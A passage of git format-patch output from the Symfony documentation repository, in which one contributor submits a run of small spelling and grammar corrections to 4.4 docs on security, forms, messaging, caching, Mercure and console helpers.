-    Greek character, etc.
+    Greek characters, etc.
 
 .. note::
 
@@ -824,7 +824,7 @@ Parameter Conversion
 
 A common routing need is to convert the value stored in some parameter (e.g. an
 integer acting as the user ID) into another value (e.g. the object that
-represents the user). This feature is called "param converter".
+represents the user). This feature is called a "param converter".
 
 In case you didn't run this command before, run it now to add support for
 annotations and "param converters":

From 1376058b0649dc8cb576a8ff3b25f0281400f289 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 06:51:40 -0400
Subject: [PATCH 1464/5766] Correct spelling & grammar in 4.4 security.rst

---
 security.rst | 16 +++++++++-------
 1 file changed, 9 insertions(+), 7 deletions(-)

diff --git a/security.rst b/security.rst
index 4ec0df76f69..9b92cb1cda0 100644
--- a/security.rst
+++ b/security.rst
@@ -346,7 +346,7 @@ and ``/_wdt``.
 
 All *real* URLs are handled by the ``main`` firewall (no ``pattern`` key means
 it matches *all* URLs). A firewall can have many modes of authentication,
-in other words many ways to ask the question "Who are you?". Often, the
+in other words, it enables many ways to ask the question "Who are you?". Often, the
 user is unknown (i.e. not logged in) when they first visit your website. The
 ``anonymous`` mode, if enabled, is used for these requests.
 
@@ -361,7 +361,7 @@ It means any request can have an anonymous token to access some resource,
 while some actions (i.e. some pages or buttons) can still require specific
 privileges. A user can then access a form login without being authenticated
 as a unique user (otherwise an infinite redirection loop would happen
-asking the user to authenticate while trying to doing so).
+asking the user to authenticate while trying to do so).
 
 You'll learn later how to deny access to certain URLs, controllers, or part of
 templates.
@@ -729,9 +729,11 @@ Checking to see if a User is Logged In (IS_AUTHENTICATED_FULLY)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you *only* want to check if a user is logged in (you don't care about roles),
-you have two options. First, if you've given *every* user ``ROLE_USER``, you can
-check for that role. Otherwise, you can use a special "attribute" in place of a
-role::
+you have the following two options.
+
+Firstly, if you've given *every* user ``ROLE_USER``, you can check for that role.
+
+Secondly, you can use a special "attribute" in place of a role::
 
     // ...
 
@@ -1038,8 +1040,8 @@ Frequently Asked Questions
     you authenticate against one firewall, you will *not* be authenticated against
     any other firewalls automatically. Different firewalls are like different security
     systems. To do this you have to explicitly specify the same
-    :ref:`reference-security-firewall-context` for different firewalls. But usually
-    for most applications, having one main firewall is enough.
+    :ref:`reference-security-firewall-context` for different firewalls. However,
+    one main firewall is usually sufficient for the needs of most applications.
 
 **Security doesn't seem to work on my Error Pages**
     As routing is done *before* security, 404 error pages are not covered by

From e784be8c82e184f0976c9971711916591128ea95 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 06:56:48 -0400
Subject: [PATCH 1465/5766] Correct spelling & grammar in 4.4
 best-practices.rst

---
 best_practices.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 284bdb7cfa2..a2af083b73d 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -265,7 +265,7 @@ Templates
 Use Snake Case for Template Names and Variables
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Use lowercased snake_case for template names, directories and variables (e.g.
+Use lowercase snake_case for template names, directories and variables (e.g.
 ``user_profile`` instead of ``userProfile`` and ``product/edit_form.html.twig``
 instead of ``Product/EditForm.html.twig``).
 
@@ -383,7 +383,7 @@ Use Webpack Encore to Process Web Assets
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Web assets are things like CSS, JavaScript and image files that make the
-frontend of your site look and work great. `Webpack`_ is the leading JavaScript
+frontend of your site looks and works great. `Webpack`_ is the leading JavaScript
 module bundler that compiles, transforms and packages assets for usage in a browser.
 
 :doc:`Webpack Encore </frontend>` is a JavaScript library that gets rid of most
@@ -435,7 +435,7 @@ Add this test while creating your application because it requires little effort
 and checks that none of your pages returns an error. Later, you'll add more
 specific tests for each page.
 
-Hardcode URLs in a Functional Test
+Hard-code URLs in a Functional Test
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In Symfony applications, it's recommended to :ref:`generate URLs <routing-generating-urls>`

From faf0e5ea37b67a7454ea4e95fade2490324e0026 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 07:04:50 -0400
Subject: [PATCH 1466/5766] Correct spelling & grammar in 4.4 cache.rst

---
 cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/cache.rst b/cache.rst
index 6a096b714c5..9982c33a7cf 100644
--- a/cache.rst
+++ b/cache.rst
@@ -49,7 +49,7 @@ of:
     An adapter is a *template* that you use to create pools.
 **Provider**
     A provider is a service that some adapters use to connect to the storage.
-    Redis and Memcached are example of such adapters. If a DSN is used as the
+    Redis and Memcached are examples of such adapters. If a DSN is used as the
     provider then a service is automatically created.
 
 There are two pools that are always enabled by default. They are ``cache.app`` and

From 0ee7f73cf42802c67035a9b4f0b2390c3f5e77eb Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 07:07:46 -0400
Subject: [PATCH 1467/5766] Correct spelling & grammar in 4.4
 CODE_OF_CONDUCT.md

---
 CODE_OF_CONDUCT.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md
index d211dd419d0..03828e75d73 100644
--- a/CODE_OF_CONDUCT.md
+++ b/CODE_OF_CONDUCT.md
@@ -52,7 +52,7 @@ Scope
 
 This Code of Conduct applies both within project spaces and in public spaces
 when an individual is representing the project or its community. Examples of
-representing a project or community include using an official project e-mail
+representing a project or community include using an official project email
 address, posting via an official social media account, or acting as an appointed
 representative at an online or offline event. Representation of a project may be
 further defined and clarified by CARE team members.

From 71e0eb0fe7e23154588879405a620cfb19ddae72 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 07:16:17 -0400
Subject: [PATCH 1468/5766] Correct spelling & grammar in 4.4 email.rst

---
 email.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/email.rst b/email.rst
index c5517bef991..6f54812729a 100644
--- a/email.rst
+++ b/email.rst
@@ -418,7 +418,7 @@ How to Spool Emails
 The default behavior of the Symfony mailer is to send the email messages
 immediately. You may, however, want to avoid the performance hit of the
 communication to the email server, which could cause the user to wait for the
-next page to load while the email is sending. This can be avoided by choosing to
+next page to load while the email is being sent. This can be avoided by choosing to
 "spool" the emails instead of sending them directly.
 
 This makes the mailer to not attempt to send the email message but instead save

From b452b8bb054055712837f7aecf3b0ea0a5fe8941 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 07:20:17 -0400
Subject: [PATCH 1469/5766] Correct spelling & grammar in 4.4
 event_dispatcher.rst

---
 event_dispatcher.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 2b95a637e28..5ac86e55cd5 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -141,8 +141,8 @@ Creating an Event Subscriber
 
 Another way to listen to events is via an **event subscriber**, which is a class
 that defines one or more methods that listen to one or various events. The main
-difference with the event listeners is that subscribers always know which events
-they are listening to.
+difference with the event listeners is that subscribers always know the events
+to which they are listening.
 
 If different event subscriber methods listen to the same event, their order is
 defined by the ``priority`` parameter. This value is a positive or negative

From f2c0186f710feb733123477706687e462dde149f Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 07:23:11 -0400
Subject: [PATCH 1470/5766] Correct spelling & grammar in 4.4 forms.rst

---
 forms.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/forms.rst b/forms.rst
index 9b88f598fa1..8bf2b64ad2a 100644
--- a/forms.rst
+++ b/forms.rst
@@ -158,7 +158,7 @@ added a submit button with a custom label for submitting the form to the server.
 Creating Form Classes
 ~~~~~~~~~~~~~~~~~~~~~
 
-Symfony recommends to put as little logic as possible in controllers. That's why
+Symfony recommends putting as little logic as possible in controllers. That's why
 it's better to move complex forms to dedicated classes instead of defining them
 in controller actions. Besides, forms defined in classes can be reused in
 multiple actions and services.
@@ -385,7 +385,7 @@ written into the form object::
     {
         public function new(Request $request): Response
         {
-            // just setup a fresh $task object (remove the example data)
+            // just set up a fresh $task object (remove the example data)
             $task = new Task();
 
             $form = $this->createForm(TaskType::class, $task);
@@ -665,7 +665,7 @@ The ``required`` Option
 
 The most common option is the ``required`` option, which can be applied to any
 field. By default, this option is set to ``true``, meaning that HTML5-ready
-browsers will require to fill in all fields before submitting the form.
+browsers will require you to fill in all fields before submitting the form.
 
 If you don't want this behavior, either
 :ref:`disable client-side validation <forms-html5-validation-disable>` for the

From a7d25eeab42653c8c6bf75edc8824cae1368938d Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 07:29:54 -0400
Subject: [PATCH 1471/5766] Correct spelling & grammar in 4.4. frontend.rst

---
 frontend.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend.rst b/frontend.rst
index 47d3111dd33..5ab7bf9baaa 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -7,7 +7,7 @@ Managing CSS and JavaScript
     Do you prefer video tutorials? Check out the `Webpack Encore screencast series`_.
 
 Symfony ships with a pure-JavaScript library - called Webpack Encore - that makes
-working with CSS and JavaScript a joy. You can use it, use something else, or
+it a joy to work with CSS and JavaScript. You can use it, use something else, or
 create static CSS and JS files in your ``public/`` directory directly and
 include them in your templates.
 

From 1f1285b1322f1aab74456c7fed79282a043b308b Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 07:33:29 -0400
Subject: [PATCH 1472/5766] Correct spelling & grammar in 4.4 http_cache.rst

---
 http_cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache.rst b/http_cache.rst
index 6061ed128cc..0194089b2cc 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -71,7 +71,7 @@ Symfony Reverse Proxy
 
 Symfony comes with a reverse proxy (i.e. gateway cache) written in PHP.
 :ref:`It's not a fully-featured reverse proxy cache like Varnish <http-cache-symfony-versus-varnish>`,
-but is a great way to start.
+but it is a great way to start.
 
 .. tip::
 

From 2a68a27123935914bdf92ff4509781fd3c302757 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 07:38:43 -0400
Subject: [PATCH 1473/5766] Correct spelling & grammar in 4.4 http_client.rst

---
 http_client.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 019cd64036e..fe0a6ddb2b1 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -890,7 +890,7 @@ response sequentially instead of waiting for the entire response::
     ``php://temp`` stream. You can control this behavior by using the ``buffer``
     option: set it to ``true``/``false`` to enable/disable buffering, or to a
     closure that should return the same based on the response headers it receives
-    as argument.
+    as an argument.
 
 Canceling Responses
 ~~~~~~~~~~~~~~~~~~~
@@ -1064,7 +1064,7 @@ method will yield a special chunk whose ``isTimeout()`` will return ``true``::
 
     foreach ($client->stream($responses, 1.5) as $response => $chunk) {
         if ($chunk->isTimeout()) {
-            // $response staled for more than 1.5 seconds
+            // $response stale for more than 1.5 seconds
         }
     }
 

From 5b66d46a425a16bb722009caf866e5725e4a1e59 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 07:42:41 -0400
Subject: [PATCH 1474/5766] Correct spelling & grammar in 4.4 lock.rst

---
 lock.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/lock.rst b/lock.rst
index 7b318b6c3a3..b298307ae2d 100644
--- a/lock.rst
+++ b/lock.rst
@@ -8,7 +8,7 @@ When a program runs concurrently, some part of code which modify shared
 resources should not be accessed by multiple processes at the same time.
 Symfony's :doc:`Lock component </components/lock>` provides a locking mechanism to ensure
 that only one process is running the critical section of code at any point of
-time to prevent race condition from happening.
+time to prevent race conditions from happening.
 
 The following example shows a typical usage of the lock::
 
@@ -189,7 +189,7 @@ Locking a Dynamic Resource
 --------------------------
 
 Sometimes the application is able to cut the resource into small pieces in order
-to lock a small subset of process and let other through. The previous example
+to lock a small subset of processes and let others through. The previous example
 showed how to lock the ``$pdf->getOrCreatePdf('terms-of-use')`` for everybody,
 now let's see how to lock ``$pdf->getOrCreatePdf($version)`` only for
 processes asking for the same ``$version``::

From 08ef3d8bc802ac232f1cd496fbc55245e70b4061 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 07:45:59 -0400
Subject: [PATCH 1475/5766] Correct spelling & grammar in 4.4 logging.rst

---
 logging.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/logging.rst b/logging.rst
index d99724988e6..b2b0b626369 100644
--- a/logging.rst
+++ b/logging.rst
@@ -164,7 +164,7 @@ defined.
     If you want to override the ``monolog`` configuration via another config
     file, you will need to redefine the entire ``handlers`` stack. The configuration
     from the two files cannot be merged because the order matters and a merge does
-    not allow to control the order.
+    not allow you to control the order.
 
 Handlers that Modify Log Entries
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From fdc4677926ef88f6fd4334b349390f5f6dc64b88 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 09:43:16 -0400
Subject: [PATCH 1476/5766] Correct spelling & grammar in 4.4 mercure.rst

---
 mercure.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 8a70af165ce..5c4b570e4af 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -27,7 +27,7 @@ out of the box in most modern browsers (old versions of Edge and IE require
 languages.
 
 Mercure comes with an authorization mechanism,
-automatic re-connection in case of network issues
+automatic reconnection in case of network issues
 with retrieving of lost updates, a presence API,
 "connection-less" push for smartphones and auto-discoverability (a supported
 client can automatically discover and subscribe to updates of a given resource
@@ -84,7 +84,7 @@ and a managed, High Availability Hub are also provided.
 Configuration
 -------------
 
-The preferred way to configure the MercureBundle is using
+The preferred way to configure MercureBundle is using
 :doc:`environment variables </configuration>`.
 
 When MercureBundle has been installed, the ``.env`` file of your project
@@ -97,7 +97,7 @@ and you can skip straight to the next section.
 Otherwise, set the URL of your hub as the value of the ``MERCURE_URL``
 and ``MERCURE_PUBLIC_URL`` env vars.
 Sometimes a different URL must be called by the Symfony app (usually to publish),
-and the JavaScript client (usually to subscrribe). It's especially common when
+and the JavaScript client (usually to subscribe). It's especially common when
 the Symfony app must use a local URL and the client-side JavaScript code a public one.
 In this case, ``MERCURE_URL`` must contain the local URL that will be used by the
 Symfony app (e.g. ``https://mercure/.well-known/mercure``), and ``MERCURE_PUBLIC_URL``
@@ -297,7 +297,7 @@ and to subscribe to it:
 Authorization
 -------------
 
-Mercure also allows to dispatch updates only to authorized clients.
+Mercure also allows dispatching updates only to authorized clients.
 To do so, mark the update as **private** by setting the third parameter
 of the ``Update`` constructor to ``true``::
 
@@ -348,7 +348,7 @@ is the way to go.
 .. tip::
 
     The native implementation of EventSource doesn't allow specifying headers.
-    For example, authorization using Bearer token. In order to achieve that, use `a polyfill`_
+    For example, authorization using a Bearer token. In order to achieve that, use `a polyfill`_
 
     .. code-block:: javascript
 
@@ -559,7 +559,7 @@ its Mercure support.
 Testing
 --------
 
-During unit testing there is not need to send updates to Mercure.
+During unit testing there is no need to send updates to Mercure.
 
 You can instead make use of the `MockHub`::
 

From f0d6c65db12a102b8c0a34f735da918458818aa4 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 09:49:39 -0400
Subject: [PATCH 1477/5766] Correct spelling & grammar in 4.4 messenger.rst

---
 messenger.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index e54a1b56f10..73dab5e9ea5 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -25,7 +25,7 @@ Creating a Message & Handler
 Messenger centers around two different classes that you'll create: (1) a message
 class that holds data and (2) a handler(s) class that will be called when that
 message is dispatched. The handler class will read the message class and perform
-some task.
+one or more tasks.
 
 There are no specific requirements for a message class, except that it can be
 serialized::
@@ -488,8 +488,8 @@ On production, there are a few important things to think about:
 **Restart Workers on Deploy**
     Each time you deploy, you'll need to restart all your worker processes so
     that they see the newly deployed code. To do this, run ``messenger:stop-workers``
-    on deploy. This will signal to each worker that it should finish the message
-    it's currently handling and shut down gracefully. Then, Supervisor will create
+    on deployment. This will signal to each worker that it should finish the message
+    it's currently handling and should shut down gracefully. Then, Supervisor will create
     new worker processes. The command uses the :ref:`app <cache-configuration-with-frameworkbundle>`
     cache internally - so make sure this is configured to use an adapter you like.
 
@@ -658,7 +658,7 @@ Graceful Shutdown
 
 If you install the `PCNTL`_ PHP extension in your project, workers will handle
 the ``SIGTERM`` POSIX signal to finish processing their current message before
-exiting.
+terminating.
 
 In some cases the ``SIGTERM`` signal is sent by Supervisor itself (e.g. stopping
 a Docker container having Supervisor as its entrypoint). In these cases you
@@ -879,7 +879,7 @@ To use Symfony's built-in AMQP transport, you need the AMQP PHP extension.
     may not work correctly (like delayed queues).
 
 The transport has a number of other options, including ways to configure
-the exchange, queues binding keys and more. See the documentation on
+the exchange, queues, binding keys and more. See the documentation on
 :class:`Symfony\\Component\\Messenger\\Transport\\AmqpExt\\Connection`.
 
 You can also configure AMQP-specific settings on your message by adding
@@ -1037,7 +1037,7 @@ auto_setup          Whether the table should be created
 
     The datetime property of the messages stored in the database uses the
     timezone of the current system. This may cause issues if multiple machines
-    with different timezone configuration use the same storage.
+    with different timezone configurations use the same storage.
 
 Redis Transport
 ~~~~~~~~~~~~~~~
@@ -1647,7 +1647,7 @@ Middleware for Doctrine
 
 .. versionadded:: 1.11
 
-    The following Doctrine middleware were introduced in DoctrineBundle 1.11.
+    The following Doctrine middleware was introduced in DoctrineBundle 1.11.
 
 If you use Doctrine in your app, a number of optional middleware exist that you
 may want to use:

From 90b0776e938115f420c303c7b51d20e6231a7037 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 09:52:59 -0400
Subject: [PATCH 1478/5766] Correct spelling & grammar in 4.4 migration.rst

---
 migration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/migration.rst b/migration.rst
index 6b0807588aa..6155f05275d 100644
--- a/migration.rst
+++ b/migration.rst
@@ -223,7 +223,7 @@ unique approach for migration. This guide shows two examples of commonly used
 approaches, which you can use as a base for your own approach:
 
 * `Front Controller with Legacy Bridge`_, which leaves the legacy application
-  untouched and allows to migrate it in phases to the Symfony application.
+  untouched and allows migrating it in phases to the Symfony application.
 * `Legacy Route Loader`_, where the legacy application is integrated in phases
   into Symfony, with a fully integrated final result.
 

From 8714423b78fe10c6669f52ad2f68e2828ebf74b0 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 09:59:50 -0400
Subject: [PATCH 1479/5766] Correct spelling & grammar in 4.4 performance.rst

---
 performance.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/performance.rst b/performance.rst
index 0e980a2550d..5c1992dc134 100644
--- a/performance.rst
+++ b/performance.rst
@@ -151,7 +151,7 @@ overhead that can be avoided as follows:
     ; php.ini
     opcache.validate_timestamps=0
 
-After each deploy, you must empty and regenerate the cache of OPcache. Otherwise
+After each deployment, you must empty and regenerate the cache of OPcache. Otherwise
 you won't see the updates made in the application. Given that in PHP, the CLI
 and the web processes don't share the same OPcache, you cannot clear the web
 server OPcache by executing some command in your terminal. These are some of the

From de0e72d8977a815e04509f7183613a7a0ab68238 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 10:17:29 -0400
Subject: [PATCH 1480/5766] Correct spelling & grammar in 4.4 workflow.rst

---
 workflow.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index dde07d94480..e858d045b0c 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -382,7 +382,7 @@ order:
 .. note::
 
     The leaving and entering events are triggered even for transitions that stay
-    in same place.
+    in the same place.
 
 .. versionadded:: 4.3
 
@@ -432,7 +432,7 @@ workflow leaves a place::
 Guard Events
 ~~~~~~~~~~~~
 
-There are a special kind of events called "Guard events". Their event listeners
+There are special types of events called "Guard events". Their event listeners
 are invoked every time a call to ``Workflow::can()``, ``Workflow::apply()`` or
 ``Workflow::getEnabledTransitions()`` is executed. With the guard events you may
 add custom logic to decide which transitions should be blocked or not. Here is a

From dad73c3308e5f4a4b79018de73b953b6d915af57 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 11:21:09 -0400
Subject: [PATCH 1481/5766] Correct spelling & grammar in 4.4 bundles/

---
 bundles/best_practices.rst    | 2 +-
 bundles/configuration.rst     | 2 +-
 bundles/prepend_extension.rst | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 9c615c46db1..c6e0521db82 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -480,7 +480,7 @@ The ``composer.json`` file should include at least the following metadata:
     Consists of the vendor and the short bundle name. If you are releasing the
     bundle on your own instead of on behalf of a company, use your personal name
     (e.g. ``johnsmith/blog-bundle``). Exclude the vendor name from the bundle
-    short name and separate each word with an hyphen. For example: AcmeBlogBundle
+    short name and separate each word with a hyphen. For example: AcmeBlogBundle
     is transformed into ``blog-bundle`` and AcmeSocialConnectBundle is
     transformed into ``social-connect-bundle``.
 
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index dac9550a161..25254b7efcb 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -332,7 +332,7 @@ bundle in the console using the Yaml format.
 
 As long as your bundle's configuration is located in the standard location
 (``YourBundle\DependencyInjection\Configuration``) and does not have
-a constructor it will work automatically. If you
+a constructor, it will work automatically. If you
 have something different, your ``Extension`` class must override the
 :method:`Extension::getConfiguration() <Symfony\\Component\\DependencyInjection\\Extension\\Extension::getConfiguration>`
 method and return an instance of your ``Configuration``.
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index a332d45141f..4d174c8366d 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -8,7 +8,7 @@ How to Simplify Configuration of Multiple Bundles
 When building reusable and extensible applications, developers are often
 faced with a choice: either create a single large bundle or multiple smaller
 bundles. Creating a single bundle has the drawback that it's impossible for
-users to choose to remove functionality they are not using. Creating multiple
+users to remove unused functionality. Creating multiple
 bundles has the drawback that configuration becomes more tedious and settings
 often need to be repeated for various bundles.
 

From b636dc73d8edb3a09206d0ff4977485ea60654fa Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 11:32:16 -0400
Subject: [PATCH 1482/5766] Correct spelling & grammar in 4.4 components/cache/

---
 components/cache/adapters/php_array_cache_adapter.rst | 4 ++--
 components/cache/adapters/redis_adapter.rst           | 2 +-
 components/cache/cache_invalidation.rst               | 4 ++--
 3 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/components/cache/adapters/php_array_cache_adapter.rst b/components/cache/adapters/php_array_cache_adapter.rst
index 631c153f5cb..52259b87f86 100644
--- a/components/cache/adapters/php_array_cache_adapter.rst
+++ b/components/cache/adapters/php_array_cache_adapter.rst
@@ -7,7 +7,7 @@ PHP Array Cache Adapter
 
 This adapter is a high performance cache for static data (e.g. application configuration)
 that is optimized and preloaded into OPcache memory storage. It is suited for any data that
-is mostly read-only after warmup::
+is mostly read-only after warm-up::
 
     use Symfony\Component\Cache\Adapter\FilesystemAdapter;
     use Symfony\Component\Cache\Adapter\PhpArrayAdapter;
@@ -23,7 +23,7 @@ is mostly read-only after warmup::
         $cache = new PhpArrayAdapter(
             // single file where values are cached
             __DIR__ . '/somefile.cache',
-            // a backup adapter, if you set values after warmup
+            // a backup adapter, if you set values after warm-up
             new FilesystemAdapter()
         );
         $cache->warmUp($values);
diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 0845b3bcb96..05462bda38c 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -213,7 +213,7 @@ try to add data when no memory is available. An example setting could look as fo
     maxmemory 100mb
     maxmemory-policy allkeys-lru
 
-Read more about this topic in the offical `Redis LRU Cache Documentation`_.
+Read more about this topic in the official `Redis LRU Cache Documentation`_.
 
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
 .. _`Redis server`: https://redis.io/
diff --git a/components/cache/cache_invalidation.rst b/components/cache/cache_invalidation.rst
index d7e44031d90..e9bedfbd7d6 100644
--- a/components/cache/cache_invalidation.rst
+++ b/components/cache/cache_invalidation.rst
@@ -7,7 +7,7 @@ Cache Invalidation
 
 Cache invalidation is the process of removing all cached items related to a
 change in the state of your model. The most basic kind of invalidation is direct
-items deletion. But when the state of a primary resource has spread across
+item deletion. But when the state of a primary resource has spread across
 several cached items, keeping them in sync can be difficult.
 
 The Symfony Cache component provides two mechanisms to help solve this problem:
@@ -47,7 +47,7 @@ you can invalidate the cached items by calling
     // if you know the cache key, you can also delete the item directly
     $cache->delete('cache_key');
 
-Using tags invalidation is very useful when tracking cache keys becomes difficult.
+Using tag invalidation is very useful when tracking cache keys becomes difficult.
 
 Tag Aware Adapters
 ~~~~~~~~~~~~~~~~~~

From a7312fde4b06598f770b07391c280a108c517764 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 12:14:14 -0400
Subject: [PATCH 1483/5766] Correct spelling & grammar in 4.4
 components/config/

---
 components/config/definition.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index 67c7392eb33..4030098a66b 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -159,7 +159,7 @@ Array Nodes
 ~~~~~~~~~~~
 
 It is possible to add a deeper level to the hierarchy, by adding an array
-node. The array node itself, may have a pre-defined set of variable nodes::
+node. The array node itself, may have a predefined set of variable nodes::
 
     $rootNode
         ->children()
@@ -197,7 +197,7 @@ above, it is possible to have multiple connection arrays (containing a ``driver`
 ``host``, etc.).
 
 Sometimes, to improve the user experience of your application or bundle, you may
-allow to use a simple string or numeric value where an array value is required.
+allow the use of a simple string or numeric value where an array value is required.
 Use the ``castToArray()`` helper to turn those variables into arrays::
 
     ->arrayNode('hosts')

From fb5b71c358e86e34b83a8a82266b2c715a3f87cb Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 12:23:16 -0400
Subject: [PATCH 1484/5766] Correct spelling & grammar in 4.4
 components/console/

---
 components/console/helpers/progressbar.rst    | 2 +-
 components/console/helpers/questionhelper.rst | 4 ++--
 components/console/helpers/table.rst          | 4 ++--
 components/console/single_command_tool.rst    | 4 ++--
 4 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index c8ef2f25a1f..2e2de44e399 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -301,7 +301,7 @@ to display it can be customized::
 
 .. caution::
 
-    For performance reasons, Symfony redraws screen every 100ms. If this is too
+    For performance reasons, Symfony redraws the screen once every 100ms. If this is too
     fast or to slow for your application, use the methods
     :method:`Symfony\\Component\\Console\\Helper\\ProgressBar::minSecondsBetweenRedraws` and
     :method:`Symfony\\Component\\Console\\Helper\\ProgressBar::maxSecondsBetweenRedraws`::
diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 9c1696a7569..d6cdb7c67ab 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -123,7 +123,7 @@ option is the default one.
 If the user enters an invalid string, an error message is shown and the user
 is asked to provide the answer another time, until they enter a valid string
 or reach the maximum number of attempts. The default value for the maximum number
-of attempts is ``null``, which means infinite number of attempts. You can define
+of attempts is ``null``, which means an infinite number of attempts. You can define
 your own error message using
 :method:`Symfony\\Component\\Console\\Question\\ChoiceQuestion::setErrorMessage`.
 
@@ -367,7 +367,7 @@ was successful.
 You can set the max number of times to ask with the
 :method:`Symfony\\Component\\Console\\Question\\Question::setMaxAttempts` method.
 If you reach this max number it will use the default value. Using ``null`` means
-the amount of attempts is infinite. The user will be asked as long as they provide an
+the number of attempts is infinite. The user will be asked as long as they provide an
 invalid answer and will only be able to proceed if their input is valid.
 
